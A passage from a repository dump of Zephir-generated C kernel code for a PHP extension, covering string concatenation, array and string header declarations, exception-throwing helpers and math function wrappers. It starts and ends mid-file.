op1_len, Z_STRVAL_P(op2), Z_STRLEN_P(op2)); 48 | Z_STRVAL_PP(result)[length] = 0; 49 | Z_TYPE_PP(result) = IS_STRING; 50 | Z_STRLEN_PP(result) = length; 51 | 52 | if (use_copy2) { 53 | zval_dtor(op2); 54 | } 55 | 56 | if (use_copy) { 57 | zval_dtor(&result_copy); 58 | } 59 | 60 | } 61 | 62 | void zephir_concat_vs(zval **result, zval *op1, const char *op2, zend_uint op2_len, int self_var TSRMLS_DC){ 63 | 64 | zval result_copy, op1_copy; 65 | int use_copy = 0, use_copy1 = 0; 66 | uint offset = 0, length; 67 | 68 | if (Z_TYPE_P(op1) != IS_STRING) { 69 | zend_make_printable_zval(op1, &op1_copy, &use_copy1); 70 | if (use_copy1) { 71 | op1 = &op1_copy; 72 | } 73 | } 74 | 75 | length = Z_STRLEN_P(op1) + op2_len; 76 | if (self_var) { 77 | 78 | if (Z_TYPE_PP(result) != IS_STRING) { 79 | zend_make_printable_zval(*result, &result_copy, &use_copy); 80 | if (use_copy) { 81 | ZEPHIR_CPY_WRT_CTOR(*result, (&result_copy)); 82 | } 83 | } 84 | 85 | offset = Z_STRLEN_PP(result); 86 | length += offset; 87 | Z_STRVAL_PP(result) = (char *) str_erealloc(Z_STRVAL_PP(result), length + 1); 88 | 89 | } else { 90 | Z_STRVAL_PP(result) = (char *) emalloc(length + 1); 91 | } 92 | 93 | memcpy(Z_STRVAL_PP(result) + offset, Z_STRVAL_P(op1), Z_STRLEN_P(op1)); 94 | memcpy(Z_STRVAL_PP(result) + offset + Z_STRLEN_P(op1), op2, op2_len); 95 | Z_STRVAL_PP(result)[length] = 0; 96 | Z_TYPE_PP(result) = IS_STRING; 97 | Z_STRLEN_PP(result) = length; 98 | 99 | if (use_copy1) { 100 | zval_dtor(op1); 101 | } 102 | 103 | if (use_copy) { 104 | zval_dtor(&result_copy); 105 | } 106 | 107 | } 108 | 109 | void zephir_concat_vv(zval **result, zval *op1, zval *op2, int self_var TSRMLS_DC){ 110 | 111 | zval result_copy, op1_copy, op2_copy; 112 | int use_copy = 0, use_copy1 = 0, use_copy2 = 0; 113 | uint offset = 0, length; 114 | 115 | if (Z_TYPE_P(op1) != IS_STRING) { 116 | zend_make_printable_zval(op1, &op1_copy, &use_copy1); 117 | if (use_copy1) { 118 | op1 = &op1_copy; 119 | } 120 | } 121 | 122 | if (Z_TYPE_P(op2) != IS_STRING) { 123 | zend_make_printable_zval(op2, &op2_copy, &use_copy2); 124 | if (use_copy2) { 125 | op2 = &op2_copy; 126 | } 127 | } 128 | 129 | length = Z_STRLEN_P(op1) + Z_STRLEN_P(op2); 130 | if (self_var) { 131 | 132 | if (Z_TYPE_PP(result) != IS_STRING) { 133 | zend_make_printable_zval(*result, &result_copy, &use_copy); 134 | if (use_copy) { 135 | ZEPHIR_CPY_WRT_CTOR(*result, (&result_copy)); 136 | } 137 | } 138 | 139 | offset = Z_STRLEN_PP(result); 140 | length += offset; 141 | Z_STRVAL_PP(result) = (char *) str_erealloc(Z_STRVAL_PP(result), length + 1); 142 | 143 | } else { 144 | Z_STRVAL_PP(result) = (char *) emalloc(length + 1); 145 | } 146 | 147 | memcpy(Z_STRVAL_PP(result) + offset, Z_STRVAL_P(op1), Z_STRLEN_P(op1)); 148 | memcpy(Z_STRVAL_PP(result) + offset + Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2)); 149 | Z_STRVAL_PP(result)[length] = 0; 150 | Z_TYPE_PP(result) = IS_STRING; 151 | Z_STRLEN_PP(result) = length; 152 | 153 | if (use_copy1) { 154 | zval_dtor(op1); 155 | } 156 | 157 | if (use_copy2) { 158 | zval_dtor(op2); 159 | } 160 | 161 | if (use_copy) { 162 | zval_dtor(&result_copy); 163 | } 164 | 165 | } 166 | 167 | void _zephir_concat_function(zval *result, zval *op1, zval *op2 TSRMLS_DC) 168 | { 169 | zval *tmp; 170 | 171 | /* 172 | res == op1 == op2: won't leak 173 | res == op1 != op2: won't leak 174 | res == op2 != op1: will leak 175 | */ 176 | if (result == op2 && result != op1) { 177 | ALLOC_INIT_ZVAL(tmp); 178 | ZVAL_ZVAL(tmp, result, 1, 0); 179 | if (1 == Z_REFCOUNT_P(result)) { 180 | zval_dtor(result); 181 | } 182 | 183 | op2 = tmp; 184 | } 185 | 186 | concat_function(result, op1, op2 TSRMLS_CC); 187 | if (tmp) { 188 | zval_ptr_dtor(&tmp); 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/array.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_ARRAY_H 22 | #define ZEPHIR_KERNEL_ARRAY_H 23 | #define ZEPHIR_MAX_ARRAY_LEVELS 16 24 | 25 | #include 26 | #include 27 | #include "kernel/globals.h" 28 | #include "kernel/main.h" 29 | 30 | /** Combined isset/fetch */ 31 | int zephir_array_isset_fetch(zval **fetched, const zval *arr, zval *index, int readonly TSRMLS_DC); 32 | int zephir_array_isset_quick_string_fetch(zval **fetched, zval *arr, char *index, uint index_length, unsigned long key, int readonly TSRMLS_DC); 33 | int zephir_array_isset_string_fetch(zval **fetched, zval *arr, char *index, uint index_length, int readonly TSRMLS_DC); 34 | int zephir_array_isset_long_fetch(zval **fetched, zval *arr, unsigned long index, int readonly TSRMLS_DC); 35 | 36 | /** Check for index existence */ 37 | int ZEPHIR_FASTCALL zephir_array_isset(const zval *arr, zval *index); 38 | int ZEPHIR_FASTCALL zephir_array_isset_long(const zval *arr, unsigned long index); 39 | int ZEPHIR_FASTCALL zephir_array_isset_string(const zval *arr, const char *index, uint index_length); 40 | 41 | /** Fast index existence checking */ 42 | int ZEPHIR_FASTCALL zephir_array_isset_quick_string(const zval *arr, const char *index, uint index_length, unsigned long key); 43 | 44 | /** Unset existing indexes */ 45 | int ZEPHIR_FASTCALL zephir_array_unset(zval **arr, zval *index, int flags); 46 | int ZEPHIR_FASTCALL zephir_array_unset_long(zval **arr, unsigned long index, int flags); 47 | int ZEPHIR_FASTCALL zephir_array_unset_string(zval **arr, const char *index, uint index_length, int flags); 48 | 49 | /** Append elements to arrays */ 50 | int zephir_array_append(zval **arr, zval *value, int separate ZEPHIR_DEBUG_PARAMS); 51 | int zephir_array_append_long(zval **arr, long value, int separate); 52 | int zephir_array_append_string(zval **arr, char *value, uint value_length, int separate); 53 | 54 | /** Modify arrays */ 55 | int zephir_array_update_zval(zval **arr, zval *index, zval **value, int flags); 56 | int zephir_array_update_string(zval **arr, const char *index, uint index_length, zval **value, int flags); 57 | int zephir_array_update_long(zval **arr, unsigned long index, zval **value, int flags ZEPHIR_DEBUG_PARAMS); 58 | 59 | /** Fetch items from arrays */ 60 | int zephir_array_fetch(zval **return_value, zval *arr, zval *index, int flags ZEPHIR_DEBUG_PARAMS TSRMLS_DC); 61 | int zephir_array_fetch_string(zval **return_value, zval *arr, const char *index, uint index_length, int flags ZEPHIR_DEBUG_PARAMS TSRMLS_DC); 62 | int zephir_array_fetch_long(zval **return_value, zval *arr, unsigned long index, int flags ZEPHIR_DEBUG_PARAMS TSRMLS_DC); 63 | 64 | /** Merge+Append */ 65 | void zephir_merge_append(zval *left, zval *values); 66 | 67 | /* Traversing Arays */ 68 | void zephir_array_get_current(zval *return_value, zval *array); 69 | void zephir_array_next(zval *array); 70 | 71 | /* In Array */ 72 | int zephir_fast_in_array(zval *needle, zval *haystack TSRMLS_DC); 73 | 74 | /** Fast Array Merge */ 75 | void zephir_fast_array_merge(zval *return_value, zval **array1, zval **array2 TSRMLS_DC); 76 | 77 | /** Recursive merge */ 78 | void zephir_array_merge_recursive_n(zval **a1, zval *a2 TSRMLS_DC); 79 | 80 | void zephir_array_unshift(zval *arr, zval *arg TSRMLS_DC); 81 | void zephir_array_keys(zval *return_value, zval *arr TSRMLS_DC); 82 | void zephir_array_values(zval *return_value, zval *arr); 83 | int zephir_array_key_exists(zval *arr, zval *key TSRMLS_DC); 84 | int zephir_array_is_associative(zval *arr); 85 | 86 | void zephir_array_update_multi_ex(zval **arr, zval **value, const char *types, int types_length, int types_count, va_list ap TSRMLS_DC); 87 | int zephir_array_update_multi(zval **arr, zval **value TSRMLS_DC, const char *types, int types_length, int types_count, ...); 88 | 89 | void ZEPHIR_FASTCALL zephir_create_array(zval *return_value, uint size, int initialize TSRMLS_DC); 90 | 91 | #define zephir_array_fast_append(arr, value) \ 92 | Z_ADDREF_P(value); \ 93 | zend_hash_next_index_insert(Z_ARRVAL_P(arr), &value, sizeof(zval *), NULL); 94 | 95 | #endif /* ZEPHIR_KERNEL_ARRAY_H */ 96 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/string.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_STRING_H 22 | #define ZEPHIR_KERNEL_STRING_H 23 | 24 | #include 25 | #include 26 | #include "kernel/main.h" 27 | 28 | #define ZEPHIR_TRIM_LEFT 1 29 | #define ZEPHIR_TRIM_RIGHT 2 30 | #define ZEPHIR_TRIM_BOTH 3 31 | #define ZEPHIR_SUBSTR_NO_LENGTH 1 32 | 33 | /** Fast char position */ 34 | int zephir_memnstr(const zval *haystack, const zval *needle ZEPHIR_DEBUG_PARAMS); 35 | int zephir_memnstr_str(const zval *haystack, char *needle, unsigned int needle_length ZEPHIR_DEBUG_PARAMS); 36 | 37 | /** Function replacement */ 38 | void zephir_fast_strlen(zval *return_value, zval *str); 39 | int zephir_fast_strlen_ev(zval *str); 40 | void zephir_fast_strtolower(zval *return_value, zval *str); 41 | void zephir_strtolower_inplace(zval *s); 42 | void zephir_fast_join(zval *result, zval *glue, zval *pieces TSRMLS_DC); 43 | void zephir_fast_join_str(zval *result, char *glue, unsigned int glue_length, zval *pieces TSRMLS_DC); 44 | void zephir_fast_explode(zval *result, zval *delimiter, zval *str, long limit TSRMLS_DC); 45 | void zephir_fast_explode_str(zval *result, const char *delimiter, int delimiter_length, zval *str, long limit TSRMLS_DC); 46 | void zephir_fast_strpos(zval *return_value, const zval *haystack, const zval *needle, unsigned int offset); 47 | void zephir_fast_strpos_str(zval *return_value, const zval *haystack, char *needle, unsigned int needle_length); 48 | void zephir_fast_stripos_str(zval *return_value, zval *haystack, char *needle, unsigned int needle_length); 49 | void zephir_fast_str_replace(zval **return_value, zval *search, zval *replace, zval *subject TSRMLS_DC); 50 | void zephir_fast_trim(zval *return_value, zval *str, zval *charlist, int where TSRMLS_DC); 51 | void zephir_fast_strip_tags(zval *return_value, zval *str); 52 | void zephir_fast_strtoupper(zval *return_value, zval *str); 53 | 54 | /** Camelize/Uncamelize */ 55 | void zephir_camelize(zval *return_value, const zval *str, const zval *delimiter); 56 | void zephir_uncamelize(zval *return_value, const zval *str, const zval *delimiter); 57 | 58 | /** Starts/Ends with */ 59 | int zephir_start_with(const zval *str, const zval *compared, zval *case_sensitive); 60 | int zephir_start_with_str(const zval *str, char *compared, unsigned int compared_length); 61 | int zephir_start_with_str_str(char *str, unsigned int str_length, char *compared, unsigned int compared_length); 62 | int zephir_end_with(const zval *str, const zval *compared, zval *case_sensitive); 63 | int zephir_end_with_str(const zval *str, char *compared, unsigned int compared_length); 64 | 65 | /** Random string */ 66 | void zephir_random_string(zval *return_value, const zval *type, const zval *length TSRMLS_DC); 67 | 68 | /* Strips extra slashes */ 69 | void zephir_remove_extra_slashes(zval *return_value, const zval *str); 70 | 71 | /** Generates a unique key for an array/object */ 72 | void zephir_unique_key(zval *return_value, zval *prefix, zval *value TSRMLS_DC); 73 | 74 | /** spprintf */ 75 | int zephir_spprintf(char **message, int max_len, char *format, ...); 76 | 77 | /* Substr */ 78 | void zephir_substr(zval *return_value, zval *str, long from, long length, int flags); 79 | 80 | /** EOL */ 81 | zval *zephir_eol(int eol TSRMLS_DC); 82 | 83 | /** Preg-Match */ 84 | void zephir_preg_match(zval *return_value, zval *regex, zval *subject, zval *matches, int global, long flags, long offset TSRMLS_DC); 85 | 86 | /** Base64 */ 87 | void zephir_base64_encode(zval *return_value, zval *data); 88 | void zephir_base64_decode(zval *return_value, zval *data); 89 | 90 | /** Hash */ 91 | void zephir_md5(zval *return_value, zval *str); 92 | void zephir_crc32(zval *return_value, zval *str TSRMLS_DC); 93 | 94 | /** JSON */ 95 | int zephir_json_encode(zval *return_value, zval **return_value_ptr, zval *v, int opts TSRMLS_DC); 96 | int zephir_json_decode(zval *return_value, zval **return_value_ptr, zval *v, zend_bool assoc TSRMLS_DC); 97 | 98 | /***/ 99 | void zephir_lcfirst(zval *return_value, zval *s); 100 | void zephir_ucfirst(zval *return_value, zval *s); 101 | int zephir_http_build_query(zval *return_value, zval *params, char *sep TSRMLS_DC); 102 | void zephir_htmlspecialchars(zval *return_value, zval *string, zval *quoting, zval *charset TSRMLS_DC); 103 | void zephir_htmlentities(zval *return_value, zval *string, zval *quoting, zval *charset TSRMLS_DC); 104 | void zephir_strval(zval *return_value, zval *v); 105 | void zephir_date(zval *return_value, zval *format, zval *timestamp TSRMLS_DC); 106 | void zephir_addslashes(zval *return_value, zval *str TSRMLS_DC); 107 | void zephir_stripslashes(zval *return_value, zval *str TSRMLS_DC); 108 | void zephir_stripcslashes(zval *return_value, zval *str TSRMLS_DC); 109 | 110 | #define ZEPHIR_ZVAL_MAYBE_INTERNED_STRING(pz, string) \ 111 | do { \ 112 | if (IS_INTERNED(string)) { \ 113 | ZVAL_STRINGL(pz, string, INTERNED_LEN(string)-1, 0); \ 114 | } \ 115 | else { \ 116 | ZVAL_STRING(pz, string, 1); \ 117 | } \ 118 | } while (0) 119 | 120 | int zephir_hash_equals(const zval *known_zval, const zval *user_zval); 121 | 122 | void zephir_string_to_hex(zval *return_value, zval *var); 123 | 124 | #endif /* ZEPHIR_KERNEL_STRING_H */ 125 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/exception.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include "php.h" 26 | #include "php_ext.h" 27 | #include "php_main.h" 28 | #include "ext/standard/php_string.h" 29 | 30 | #include "kernel/main.h" 31 | #include "kernel/memory.h" 32 | #include "kernel/fcall.h" 33 | #include "kernel/operators.h" 34 | 35 | #include "Zend/zend_exceptions.h" 36 | 37 | /** 38 | * Throws a zval object as exception 39 | */ 40 | void zephir_throw_exception(zval *object TSRMLS_DC){ 41 | Z_ADDREF_P(object); 42 | zend_throw_exception_object(object TSRMLS_CC); 43 | } 44 | 45 | /** 46 | * Throws a zval object as exception 47 | */ 48 | void zephir_throw_exception_debug(zval *object, const char *file, zend_uint line TSRMLS_DC) { 49 | 50 | zend_class_entry *default_exception_ce; 51 | int ZEPHIR_LAST_CALL_STATUS = 0; 52 | zval *curline = NULL; 53 | 54 | ZEPHIR_MM_GROW(); 55 | 56 | if (Z_TYPE_P(object) != IS_OBJECT) { 57 | zval *arg = object; 58 | ALLOC_INIT_ZVAL(object); 59 | object_init_ex(object, zend_exception_get_default(TSRMLS_C)); 60 | ZEPHIR_CALL_METHOD(NULL, object, "__construct", NULL, 0, arg); 61 | } 62 | else { 63 | Z_ADDREF_P(object); 64 | } 65 | 66 | if (line > 0) { 67 | ZEPHIR_CALL_METHOD(&curline, object, "getline", NULL, 0); 68 | zephir_check_call_status(); 69 | if (ZEPHIR_IS_LONG(curline, 0)) { 70 | default_exception_ce = zend_exception_get_default(TSRMLS_C); 71 | zend_update_property_string(default_exception_ce, object, "file", sizeof("file") - 1, file TSRMLS_CC); 72 | zend_update_property_long(default_exception_ce, object, "line", sizeof("line") - 1, line TSRMLS_CC); 73 | } 74 | } 75 | 76 | if (ZEPHIR_LAST_CALL_STATUS != FAILURE) { 77 | zend_throw_exception_object(object TSRMLS_CC); 78 | } 79 | ZEPHIR_MM_RESTORE(); 80 | } 81 | 82 | /** 83 | * Throws an exception with a single string parameter + debug info 84 | */ 85 | void zephir_throw_exception_string_debug(zend_class_entry *ce, const char *message, zend_uint message_len, const char *file, zend_uint line TSRMLS_DC) { 86 | 87 | zval *object, *msg; 88 | int ZEPHIR_LAST_CALL_STATUS = 0; 89 | zend_class_entry *default_exception_ce; 90 | 91 | ALLOC_INIT_ZVAL(object); 92 | object_init_ex(object, ce); 93 | 94 | ALLOC_INIT_ZVAL(msg); 95 | ZVAL_STRINGL(msg, message, message_len, 1); 96 | 97 | ZEPHIR_CALL_METHOD(NULL, object, "__construct", NULL, 0, msg); 98 | 99 | if (line > 0) { 100 | default_exception_ce = zend_exception_get_default(TSRMLS_C); 101 | zend_update_property_string(default_exception_ce, object, "file", sizeof("file")-1, file TSRMLS_CC); 102 | zend_update_property_long(default_exception_ce, object, "line", sizeof("line")-1, line TSRMLS_CC); 103 | } 104 | 105 | if (ZEPHIR_LAST_CALL_STATUS != FAILURE) { 106 | zend_throw_exception_object(object TSRMLS_CC); 107 | } 108 | 109 | zval_ptr_dtor(&msg); 110 | } 111 | 112 | /** 113 | * Throws an exception with a single string parameter 114 | */ 115 | void zephir_throw_exception_string(zend_class_entry *ce, const char *message, zend_uint message_len TSRMLS_DC){ 116 | 117 | zval *object, *msg; 118 | int ZEPHIR_LAST_CALL_STATUS = 0; 119 | 120 | ALLOC_INIT_ZVAL(object); 121 | object_init_ex(object, ce); 122 | 123 | ALLOC_INIT_ZVAL(msg); 124 | ZVAL_STRINGL(msg, message, message_len, 1); 125 | 126 | ZEPHIR_CALL_METHOD(NULL, object, "__construct", NULL, 0, msg); 127 | 128 | if (ZEPHIR_LAST_CALL_STATUS != FAILURE) { 129 | zend_throw_exception_object(object TSRMLS_CC); 130 | } 131 | 132 | zval_ptr_dtor(&msg); 133 | } 134 | 135 | /** 136 | * Throws an exception with a string format as parameter 137 | */ 138 | void zephir_throw_exception_format(zend_class_entry *ce TSRMLS_DC, const char *format, ...) { 139 | 140 | zval *object, *msg; 141 | int ZEPHIR_LAST_CALL_STATUS = 0, len; 142 | char *buffer; 143 | va_list args; 144 | 145 | ALLOC_INIT_ZVAL(object); 146 | object_init_ex(object, ce); 147 | 148 | va_start(args, format); 149 | len = vspprintf(&buffer, 0, format, args); 150 | va_end(args); 151 | 152 | ALLOC_INIT_ZVAL(msg); 153 | ZVAL_STRINGL(msg, buffer, len, 0); 154 | 155 | ZEPHIR_CALL_METHOD(NULL, object, "__construct", NULL, 0, msg); 156 | 157 | if (ZEPHIR_LAST_CALL_STATUS != FAILURE) { 158 | zend_throw_exception_object(object TSRMLS_CC); 159 | } 160 | 161 | zval_ptr_dtor(&msg); 162 | } 163 | 164 | /** 165 | * Throws an exception with a single zval parameter 166 | */ 167 | void zephir_throw_exception_zval_debug(zend_class_entry *ce, zval *message, const char *file, zend_uint line TSRMLS_DC){ 168 | 169 | zval *object; 170 | int ZEPHIR_LAST_CALL_STATUS = 0; 171 | zend_class_entry *default_exception_ce; 172 | 173 | ALLOC_INIT_ZVAL(object); 174 | object_init_ex(object, ce); 175 | 176 | ZEPHIR_CALL_METHOD(NULL, object, "__construct", NULL, 0, message); 177 | 178 | if (line > 0) { 179 | default_exception_ce = zend_exception_get_default(TSRMLS_C); 180 | zend_update_property_string(default_exception_ce, object, "file", sizeof("file")-1, file TSRMLS_CC); 181 | zend_update_property_long(default_exception_ce, object, "line", sizeof("line")-1, line TSRMLS_CC); 182 | } 183 | 184 | if (ZEPHIR_LAST_CALL_STATUS != FAILURE) { 185 | zend_throw_exception_object(object TSRMLS_CC); 186 | } 187 | } 188 | 189 | /** 190 | * Throws an exception with a single zval parameter 191 | */ 192 | void zephir_throw_exception_zval(zend_class_entry *ce, zval *message TSRMLS_DC){ 193 | 194 | zval *object; 195 | int ZEPHIR_LAST_CALL_STATUS = 0; 196 | 197 | ALLOC_INIT_ZVAL(object); 198 | object_init_ex(object, ce); 199 | 200 | ZEPHIR_CALL_METHOD(NULL, object, "__construct", NULL, 0, message); 201 | 202 | if (ZEPHIR_LAST_CALL_STATUS != FAILURE) { 203 | zend_throw_exception_object(object TSRMLS_CC); 204 | } 205 | } 206 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/math.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifdef HAVE_CONFIG_H 21 | #include "config.h" 22 | #endif 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #include "php_ext.h" 30 | #include "kernel/main.h" 31 | #include "kernel/memory.h" 32 | #include "kernel/string.h" 33 | #include "kernel/operators.h" 34 | 35 | #include "Zend/zend_operators.h" 36 | 37 | double zephir_floor(zval *op1 TSRMLS_DC) 38 | { 39 | switch (Z_TYPE_P(op1)) { 40 | case IS_LONG: 41 | return (double) Z_LVAL_P(op1); 42 | case IS_ARRAY: 43 | case IS_OBJECT: 44 | case IS_RESOURCE: 45 | zend_error(E_WARNING, "Unsupported operand types"); 46 | break; 47 | } 48 | return floor(zephir_get_numberval(op1)); 49 | } 50 | 51 | double zephir_sin(zval *op1 TSRMLS_DC) 52 | { 53 | switch (Z_TYPE_P(op1)) { 54 | case IS_LONG: 55 | return sin(Z_LVAL_P(op1)); 56 | case IS_ARRAY: 57 | case IS_OBJECT: 58 | case IS_RESOURCE: 59 | zend_error(E_WARNING, "Unsupported operand types"); 60 | break; 61 | } 62 | 63 | return sin(zephir_get_numberval(op1)); 64 | } 65 | 66 | double zephir_asin(zval *op1 TSRMLS_DC) 67 | { 68 | switch (Z_TYPE_P(op1)) { 69 | case IS_LONG: 70 | return asin(Z_LVAL_P(op1)); 71 | case IS_ARRAY: 72 | case IS_OBJECT: 73 | case IS_RESOURCE: 74 | zend_error(E_WARNING, "Unsupported operand types"); 75 | break; 76 | } 77 | 78 | return asin(zephir_get_numberval(op1)); 79 | } 80 | 81 | double zephir_cos(zval *op1 TSRMLS_DC) 82 | { 83 | switch (Z_TYPE_P(op1)) { 84 | case IS_LONG: 85 | return cos(Z_LVAL_P(op1)); 86 | case IS_ARRAY: 87 | case IS_OBJECT: 88 | case IS_RESOURCE: 89 | zend_error(E_WARNING, "Unsupported operand types"); 90 | break; 91 | } 92 | 93 | return cos(zephir_get_numberval(op1)); 94 | } 95 | 96 | double zephir_acos(zval *op1 TSRMLS_DC) 97 | { 98 | switch (Z_TYPE_P(op1)) { 99 | case IS_LONG: 100 | return acos(Z_LVAL_P(op1)); 101 | case IS_ARRAY: 102 | case IS_OBJECT: 103 | case IS_RESOURCE: 104 | zend_error(E_WARNING, "Unsupported operand types"); 105 | break; 106 | } 107 | 108 | return acos(zephir_get_numberval(op1)); 109 | } 110 | 111 | double zephir_sqrt(zval *op1 TSRMLS_DC) 112 | { 113 | switch (Z_TYPE_P(op1)) { 114 | case IS_LONG: 115 | return sqrt(Z_LVAL_P(op1)); 116 | case IS_ARRAY: 117 | case IS_OBJECT: 118 | case IS_RESOURCE: 119 | zend_error(E_WARNING, "Unsupported operand types"); 120 | break; 121 | } 122 | 123 | return sqrt(zephir_get_numberval(op1)); 124 | } 125 | 126 | double zephir_tan(zval *op1 TSRMLS_DC) 127 | { 128 | switch (Z_TYPE_P(op1)) { 129 | case IS_LONG: 130 | return tan(Z_LVAL_P(op1)); 131 | case IS_ARRAY: 132 | case IS_OBJECT: 133 | case IS_RESOURCE: 134 | zend_error(E_WARNING, "Unsupported operand types"); 135 | break; 136 | } 137 | 138 | return tan(zephir_get_numberval(op1)); 139 | } 140 | 141 | 142 | double zephir_ceil(zval *op1 TSRMLS_DC) 143 | { 144 | switch (Z_TYPE_P(op1)) { 145 | case IS_LONG: 146 | return (double) Z_LVAL_P(op1); 147 | case IS_ARRAY: 148 | case IS_OBJECT: 149 | case IS_RESOURCE: 150 | zend_error(E_WARNING, "Unsupported operand types"); 151 | break; 152 | } 153 | return ceil(zephir_get_numberval(op1)); 154 | } 155 | 156 | extern double _php_math_round(double value, int places, int mode); 157 | 158 | void zephir_round(zval *return_value, zval *op1, zval *op2, zval *op3 TSRMLS_DC) 159 | { 160 | int places = 0; 161 | long mode = PHP_ROUND_HALF_UP; 162 | double return_val; 163 | 164 | convert_scalar_to_number_ex(&op1); 165 | 166 | if (op2) { 167 | places = zephir_get_intval_ex(op2); 168 | } 169 | if (op3) { 170 | mode = zephir_get_intval_ex(op3); 171 | } 172 | 173 | switch (Z_TYPE_PP(&op1)) { 174 | case IS_LONG: 175 | /* Simple case - long that doesn't need to be rounded. */ 176 | if (places >= 0) { 177 | RETURN_DOUBLE((double) Z_LVAL_PP(&op1)); 178 | } 179 | /* break omitted intentionally */ 180 | 181 | case IS_DOUBLE: 182 | return_val = (Z_TYPE_PP(&op1) == IS_LONG) ? (double)Z_LVAL_PP(&op1) : Z_DVAL_PP(&op1); 183 | return_val = _php_math_round(return_val, places, mode); 184 | RETURN_DOUBLE(return_val); 185 | break; 186 | 187 | default: 188 | RETURN_FALSE; 189 | break; 190 | } 191 | } 192 | 193 | #if PHP_VERSION_ID < 50600 194 | #include "Zend/zend_multiply.h" 195 | void zephir_pow_function_ex(zval *return_value, zval *zbase, zval *zexp TSRMLS_DC) 196 | { 197 | /* make sure we're dealing with numbers */ 198 | convert_scalar_to_number(zbase TSRMLS_CC); 199 | convert_scalar_to_number(zexp TSRMLS_CC); 200 | 201 | /* if both base and exponent were longs, we'll try to get a long out */ 202 | if (Z_TYPE_P(zbase) == IS_LONG && Z_TYPE_P(zexp) == IS_LONG && Z_LVAL_P(zexp) >= 0) { 203 | long l1 = 1, l2 = Z_LVAL_P(zbase), i = Z_LVAL_P(zexp); 204 | 205 | if (i == 0) { 206 | RETURN_LONG(1L); 207 | } else if (l2 == 0) { 208 | RETURN_LONG(0); 209 | } 210 | 211 | /* calculate pow(long,long) in O(log exp) operations, bail if overflow */ 212 | while (i >= 1) { 213 | int overflow; 214 | double dval = 0.0; 215 | 216 | if (i % 2) { 217 | --i; 218 | ZEND_SIGNED_MULTIPLY_LONG(l1, l2, l1, dval, overflow); 219 | if (overflow) RETURN_DOUBLE(dval * pow(l2, i)); 220 | } else { 221 | i /= 2; 222 | ZEND_SIGNED_MULTIPLY_LONG(l2, l2, l2, dval,overflow); 223 | if (overflow) RETURN_DOUBLE((double)l1 * pow(dval, i)); 224 | } 225 | if (i == 0) { 226 | RETURN_LONG(l1); 227 | } 228 | } 229 | } 230 | convert_to_double(zbase); 231 | convert_to_double(zexp); 232 | 233 | RETURN_DOUBLE(pow(Z_DVAL_P(zbase), Z_DVAL_P(zexp))); 234 | } 235 | #endif 236 | 237 | 238 | 239 | long zephir_mt_rand(long min, long max TSRMLS_DC) { 240 | 241 | long number; 242 | 243 | if (max < min) { 244 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "max(%ld) is smaller than min(%ld)", max, min); 245 | return 0; 246 | } 247 | 248 | if (!BG(mt_rand_is_seeded)) { 249 | php_mt_srand(GENERATE_SEED() TSRMLS_CC); 250 | } 251 | 252 | number = (long) (php_mt_rand(TSRMLS_C) >> 1); 253 | RAND_RANGE(number, min, max, PHP_MT_RAND_MAX); 254 | 255 | return number; 256 | } 257 | 258 | double zephir_ldexp(zval *value, zval *expval TSRMLS_DC) 259 | { 260 | int exp = (int) 